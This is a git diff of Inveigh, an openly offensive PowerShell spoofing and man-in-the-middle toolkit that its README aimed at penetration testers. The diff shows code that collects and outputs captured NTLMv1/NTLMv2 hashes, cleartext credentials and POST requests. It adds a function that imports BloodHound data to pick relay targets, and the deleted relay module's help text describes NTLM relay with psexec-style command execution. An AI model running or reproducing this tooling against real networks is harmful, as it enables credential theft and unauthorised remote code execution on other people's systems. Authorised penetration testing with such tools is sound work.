if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) + { + Write-Output $ADIDNS_host + } } - + } -} + if($ADIDNSFailed) + { -if($Log) -{ - Write-Output $inveigh.log -} + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys -if($NTLMv1) -{ - Write-Output $inveigh.NTLMv1_list -} + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 0) + { + Write-Output $ADIDNS_host + } -if($NTLMv1Unique) -{ - $inveigh.NTLMv1_list.Sort() + } + + } + + if($Log) + { + Write-Output $inveigh.log + } - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + if($NTLMv1) { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + Write-Output $inveigh.NTLMv1_list + } + + if($NTLMv1Unique) + { + $inveigh.NTLMv1_list.Sort() + $NTLMv1_list_temp = $inveigh.NTLMv1_list - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + foreach($unique_NTLMv1 in $NTLMv1_list_temp) { - Write-Output $unique_NTLMv1 + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account } - $unique_NTLMv1_account_last = $unique_NTLMv1_account } -} + if($NTLMv1Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } -if($NTLMv1Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} + if($NTLMv2) + { + Write-Output $inveigh.NTLMv2_list + } -if($NTLMv2) -{ - Write-Output $inveigh.NTLMv2_list -} + if($NTLMv2Unique) + { + $inveigh.NTLMv2_list.Sort() + $NTLMv2_list_temp = $inveigh.NTLMv2_list -if($NTLMv2Unique) -{ - $inveigh.NTLMv2_list.Sort() + foreach($unique_NTLMv2 in $NTLMv2_list_temp) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + } + + if($NTLMv2Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + if($Cleartext) { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + Write-Output $inveigh.cleartext_list + } - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } + if($CleartextUnique) + { + Write-Output $inveigh.cleartext_list | Get-Unique + } - $unique_NTLMv2_account_last = $unique_NTLMv2_account + if($POSTRequest) + { + Write-Output $inveigh.POST_request_list } -} + if($POSTRequestUnique) + { + Write-Output $inveigh.POST_request_list | Get-Unique + } -if($NTLMv2Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} + if($Learning) + { + Write-Output $inveigh.valid_host_list + } -if($Cleartext) -{ - Write-Output $inveigh.cleartext_list -} + if($Session) + { + $i = 0 -if($CleartextUnique) -{ - Write-Output $inveigh.cleartext_list | Get-Unique -} + while($i -lt $inveigh.session_socket_table.Count) + { -if($POSTRequest) -{ - Write-Output $inveigh.POST_request_list -} + if(!$inveigh.session_socket_table[$i].Connected) + { + $inveigh.session[$i] | Where-Object {$_.Status = "disconnected"} + } + + $i++ + } -if($POSTRequestUnique) -{ - Write-Output $inveigh.POST_request_list | Get-Unique -} + Write-Output $inveigh.session | Format-Table -AutoSize + } -if($Learning) -{ - Write-Output $inveigh.valid_host_list -} + if($Enumerate) + { + Write-Output $inveigh.enumerate + } } @@ -4684,7 +5494,8 @@ Watch-Inveigh will enabled real time console output. If using this function thro [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", + [parameter(Mandatory=$false)][Switch]$NoConsoleMessage, + [parameter(Mandatory=$false)][ValidateSet("Low","Medium","Y")][String]$ConsoleOutput = "Y", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) @@ -4693,7 +5504,12 @@ if($inveigh.tool -ne 1) if($inveigh.running -or $inveigh.relay_running) { - Write-Output "Press any key to stop real time console output" + + if(!$NoConsoleMessage) + { + Write-Output "[*] Press any key to stop console output" + } + $inveigh.console_output = $true :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) @@ -4705,7 +5521,7 @@ if($inveigh.tool -ne 1) switch -wildcard ($inveigh.console_queue[0]) { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { Write-Warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveAt(0) @@ -4757,13 +5573,13 @@ if($inveigh.tool -ne 1) } else { - Write-Output "Inveigh isn't running" + Write-Output "[-] Inveigh isn't running" } } else { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" + Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" } } @@ -4781,13 +5597,521 @@ if($inveigh) if(!$inveigh.running -and !$inveigh.relay_running) { Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" + Write-Output "[+] Inveigh data has been cleared from memory" } else { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" + } + +} + +} + +function ConvertTo-Inveigh +{ + <# + .SYNOPSIS + ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerate + for Inveigh Relay targeting. + + .DESCRIPTION + For the fastest import, import the data before gather any enumeration data with Inveigh. + + .PARAMETER BloodHoundComputersJSON + BloodHound computers file. + + .PARAMETER BloodHoundSessionsJSON + BloodHound sessions file. + + .PARAMETER BloodHoundGroupsJSON + BloodHound groups file. + + .PARAMTER DNS + Enable DNS lookups + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Computers, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Sessions, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Groups, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if(!$Computers -and !$Sessions -and !$Groups) + { + Write-Output "Specifiy a BloodHound computers, groups, or sessions JSON file" + throw + } + + if($inveigh.running -or $inveigh.relay_running) + { + Write-Output "Run Stop-Inveigh before importing data with ConvertTo-Inveigh" + throw + } + + if(!$inveigh) + { + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.enumerate = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session = @() + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups, + $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$DNSRecord, + $IPv6Only,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Record" $DNSRecord + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IPv6 Only" $IPv6Only + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute + + return $relay_object + } + + function Get-DNSEntry([String]$hostname) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($hostname) + + foreach($entry in $IP_list.AddressList) + { + + if(!$entry.IsIPv6LinkLocal) + { + $IP = $entry.IPAddressToString + } + + } + + } + catch + { + $IP = $null + } + + return $IP + } + + # JSON parsing from http://wahlnetwork.com/2016/03/15/deserializing-large-json-payloads-powershell-objects/ + function Invoke-ParseItem($JSONItem) + { + + if($JSONItem.PSObject.TypeNames -match 'Array') + { + return Invoke-ParseJsonArray($JSONItem) + } + elseif($JSONItem.PSObject.TypeNames -match 'Dictionary') + { + return Invoke-ParseJsonObject([HashTable]$JSONItem) + } + else + { + return $JSONItem + } + + } + + function Invoke-ParseJsonObject($JSONObject) + { + $result = New-Object -TypeName PSCustomObject + + foreach($key in $JSONObject.Keys) + { + $item = $JSONObject[$key] + + if ($item) + { + $parsed_item = Invoke-ParseItem $item + } + else + { + $parsed_item = $null + } + + $result | Add-Member -MemberType NoteProperty -Name $key -Value $parsed_item + } + + return $result + } + + function Invoke-ParseJSONArray($JSONArray) + { + $result = @() + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + $JSONArray | ForEach-Object -Process { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $JSONArray.count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "Parsing JSON" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $i++ + $result += , (Invoke-ParseItem $_)} + + return $result + } + + function Invoke-ParseJSONString($json) + { + $config = $javaScriptSerializer.DeserializeObject($json) + + return Invoke-ParseJsonObject $config + } + + [void][System.Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") + + if($inveigh.enumerate.Count -eq 0) + { + $enumerate_empty = $true + } + + if($Computers) + { + $Computers = (Resolve-Path $Computers).Path + $computers_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $computers_serializer.MaxJsonLength = 104857600 + $bloodhound_computers = [System.IO.File]::ReadAllText($Computers) + $bloodhound_computers = $computers_serializer.DeserializeObject($bloodhound_computers) + Write-Output "[*] Parsing BloodHound Computers JSON" + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + $bloodhound_computers = Invoke-ParseItem $bloodhound_computers + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing computers to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_computers.Computers) + { + Write-Output "[!] JSON computers parse failed" + throw + } + + $bloodhound_computers.Computers | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_computers.Computers.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing computers" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $hostname = $_.Name + [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name + [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed" + } + + } + + if(!$enumerate_empty) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if(($hostname -and $inveigh.enumerate[$i].Hostname -eq $hostname) -or ($IP -and $inveigh.enumerate[$i].IP -eq $IP)) + { + + if($inveigh.enumerate[$i].Hostname -ne $hostname -and $inveigh.enumerate[$i].IP -eq $IP) + { + + for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) + { + + if($inveigh.enumerate[$j].IP -eq $target) + { + $target_index = $j + break + } + + } + + $inveigh.enumerate[$target_index].Hostname = $hostname + } + else + { + + for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) + { + + if($inveigh.enumerate[$j].Hostname -eq $hostname) + { + $target_index = $j + break + } + + } + + } + + $inveigh.enumerate[$target_index]."Administrator Users" = $local_admin_users + $inveigh.enumerate[$target_index]."Administrator Groups" = $local_admin_groups + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null + } + + } + + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null + } + + $IP = $null + $hostname = $null + $local_admin_users = $null + $local_admin_groups = $null + $target_index = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + Remove-Variable bloodhound_computers + } + + if($Sessions) + { + $Sessions = (Resolve-Path $Sessions).Path + $sessions_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $sessions_serializer.MaxJsonLength = 104857600 + $bloodhound_sessions = [System.IO.File]::ReadAllText($Sessions) + $bloodhound_sessions = $sessions_serializer.DeserializeObject($bloodhound_sessions) + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + Write-Output "[*] Parsing BloodHound Sessions JSON" + $bloodhound_sessions = Invoke-ParseItem $bloodhound_sessions + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing sessions to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_sessions.Sessions) + { + Write-Output "[!] JSON sessions parse failed" + throw + } + + $bloodhound_sessions.Sessions | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_sessions.Sessions.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing sessions" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $hostname = $_.ComputerName + + if($hostname -as [IPAddress] -as [Bool]) + { + $IP = $hostname + $hostname = $null + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + } + else + { + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Hostname -eq $hostname) + { + $target_index = $i + break + } + + } + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address" + } + + } + + } + + if(!$enumerate_empty -or $target_index -ge 0) + { + [Array]$session_list = $inveigh.enumerate[$target_index].Sessions + + if($session_list -notcontains $_.UserName) + { + $session_list += $_.UserName + $inveigh.enumerate[$target_index].Sessions = $session_list + } + + } + else + { + $inveigh.enumerate.Add($(New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName)) > $null + } + + $hostname = $null + $IP = $null + $session_list = $null + $target_index = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + Remove-Variable bloodhound_sessions + } + + if($Groups) + { + $Groups = (Resolve-Path $Groups).Path + $groups_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $groups_serializer.MaxJsonLength = 104857600 + $bloodhound_groups = [System.IO.File]::ReadAllText($Groups) + $bloodhound_groups = $groups_serializer.DeserializeObject($bloodhound_groups) + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + Write-Output "[*] Parsing BloodHound Groups JSON" + $bloodhound_groups = Invoke-ParseItem $bloodhound_groups + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing groups to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_groups.Groups) + { + Write-Output "[!] JSON groups parse failed" + throw + } + + $bloodhound_groups.Groups | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_groups.Groups.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing groups" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + [Array]$group_members = $_.Members | Select-Object -expand MemberName + $inveigh.group_table.Add($_.Name,$group_members) + $group_members = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch.Elapsed.TotalSeconds)) seconds" } } -} \ No newline at end of file +#endregion \ No newline at end of file diff --git a/Inveigh.psd1 b/Inveigh.psd1 index d3e601d..5195d9d 100644 --- a/Inveigh.psd1 +++ b/Inveigh.psd1 @@ -12,7 +12,7 @@ ModuleToProcess = 'Inveigh.psm1' # Version number of this module. -ModuleVersion = '1.0' +ModuleVersion = '1.4' # ID used to uniquely identify this module GUID = '4f991a73-c574-44b7-85df-da769f39d45d' diff --git a/Inveigh.psm1 b/Inveigh.psm1 index 96708d8..2352cb6 100644 --- a/Inveigh.psm1 +++ b/Inveigh.psm1 @@ -1,9 +1,9 @@ <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. +Inveigh is a Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. .LINK https://github.com/Kevin-Robertson/Inveigh #> -Import-Module $PWD\Scripts\Inveigh.ps1 -Import-Module $PWD\Scripts\Inveigh-Relay.ps1 \ No newline at end of file +Import-Module $PWD\Inveigh.ps1 +Import-Module $PWD\Inveigh-Relay.ps1 \ No newline at end of file diff --git a/README.md b/README.md index 8294cb6..9e92990 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # **Inveigh** -Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. +Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. ## Wiki * https://github.com/Kevin-Robertson/Inveigh/wiki @@ -23,16 +23,20 @@ Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool desig At its core, Inveigh is a .NET packet sniffer that listens for and responds to LLMNR/mDNS/NBNS requests while also capturing incoming NTLMv1/NTLMv2 authentication attempts over the Windows SMB service. The primary advantage of this packet sniffing method on Windows is that port conflicts with default running services are avoided. Inveigh also contains HTTP/HTTPS/Proxy listeners for capturing incoming authentication requests and performing attacks. Inveigh relies on creating multiple runspaces to load the sniffer, listeners, and control functions within a single shell and PowerShell process. ##### Inveigh running with elevated privilege -![Inveigh](https://github.com/Kevin-Robertson/Inveigh/wiki/images/Inveigh.PNG) +![inveigh1 4](https://user-images.githubusercontent.com/5897462/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.PNG) Since the .NET packet sniffer requires elevated privilege, Inveigh also contains UDP listener based LLMNR/mDNS/NBNS functions. These listeners can provide the ability to perform spoofing with only unprivileged access. Port conflicts can still be an issue with any running Windows listeners bound to 0.0.0.0. This generally impacts LLMNR. On a system with the Windows LLMNR service running, Inveigh’s unprivileged LLMNR spoofer will not be able to start. Inveigh can usually perform unprivileged NBNS spoofing on systems with the NBNS service already running since it’s often not bound to 0.0.0.0. Most of Inveigh’s other features, with the primary exceptions of the packet sniffer’s SMB capture and HTTPS (due to certificate install privilege requirements), do not require elevated privilege. Note that an enabled local firewall blocking all relevant ports, and without a listed service with open firewall access suitable for migration, can still prevent Inveigh from working with just unprivileged access since privileged access will likely be needed to modify the firewall settings. By default, Inveigh will attempt to detect the privilege level and load the corresponding functions. -##### Inveigh running without elevated privilege -![Unprivileged](https://github.com/Kevin-Robertson/Inveigh/wiki/images/Unpriv.PNG) +Inveigh provides NTLMv1/NTLMv2 HTTP/HTTPS/Proxy to SMB2.1 relay through the Inveigh Relay module. This module does not require elevated privilege, again with the exception of HTTPS, on the Inveigh host. + +##### Inveigh Relay running with all attacks enabled +![inveigh_relay1 4](https://user-images.githubusercontent.com/5897462/45662094-72fcce80-bace-11e8-8bc5-b546eedcb241.PNG) + +Inveigh Relay session attack requires SMB tools from Invoke-TheHash + +* https://github.com/Kevin-Robertson/Invoke-TheHash + -Inveigh provides NTLMv1/NTLMv2 HTTP/HTTPS/Proxy to SMB1/SMB2 relay through the Inveigh-Relay module. This module does not require elevated privilege, again with the exception of HTTPS, on the Inveigh host. However, since the module currently only has a PSExec type command execution attack, the relayed challenge/response will need to be from an account that has remote command execution privilege on the target. The Inveigh host itself can be targeted for relay if the goal is local privilege escalation. -##### Inveigh and Inveigh-Relay running together to execute an Empire 2.0 launcher -![Relay](https://github.com/Kevin-Robertson/Inveigh/wiki/images/Relay.PNG) diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1 deleted file mode 100644 index b7bd457..0000000 --- a/Scripts/Inveigh-Relay.ps1 +++ /dev/null @@ -1,4516 +0,0 @@ -function Invoke-InveighRelay -{ -<# -.SYNOPSIS -Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. - -.DESCRIPTION -Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. - - HTTP/HTTPS to SMB NTLMv2 relay with granular control - Supports SMB1 and SMB2 targets - Does not require priveleged access on the Invoke-InveighRelay host - The Invoke-InveighRelay host can be targeted for privilege escalation - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS - Granular control of console and file output - -.PARAMETER Challenge -Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random -challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be -pulled from the SMB relay target. - -.PARAMETER Command -Command to execute on SMB relay target. Use PowerShell character escapes where necessary. - -.PARAMETER ConsoleOutput -Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a -shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. - -.PARAMETER ConsoleQueueLimit -Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. - -.PARAMETER ConsoleStatus -(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for -displaying full capture lists when running through a shell that does not have access to the support functions. - -.PARAMETER ConsoleUnique -Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time console output is enabled. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER FileOutputDirectory -Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be -enabled. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: IP address for the HTTP/HTTPS listener. - -.PARAMETER HTTPPort -Default = 80: TCP port for the HTTP listener. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires -local administrator access. - -.PARAMETER HTTPSPort -Default = 443: TCP port for the HTTPS listener. - -.PARAMETER HTTPSCertIssuer -Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSCertSubject -Default = localhost: The subject field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSForceCertDelete -Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and -HTTPSCertSubject. - -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing/relaying authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - -.PARAMETER LogOutput -Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the -various yellow warning messages if enabled. - -.PARAMETER ProxyRelay -Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. - -.PARAMETER ProxyIP -Default = Any: IP address for the proxy listener. - -.PARAMETER ProxyPort -Default = 8182: TCP port for the proxy listener. - -.PARAMETER ProxyIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly -with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is -cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting --SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by -closing and reopening. - -.PARAMETER RelayAutoDisable -Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on -target. - -.PARAMETER RelayAutoExit -Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. - -.PARAMETER RunTime -(Integer) Run time duration in minutes. - -.PARAMETER Service -Default = 20 Character Random: Name of the service to create and delete on the target. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER SMB1 -(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - -.PARAMETER StartupChecks -Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER 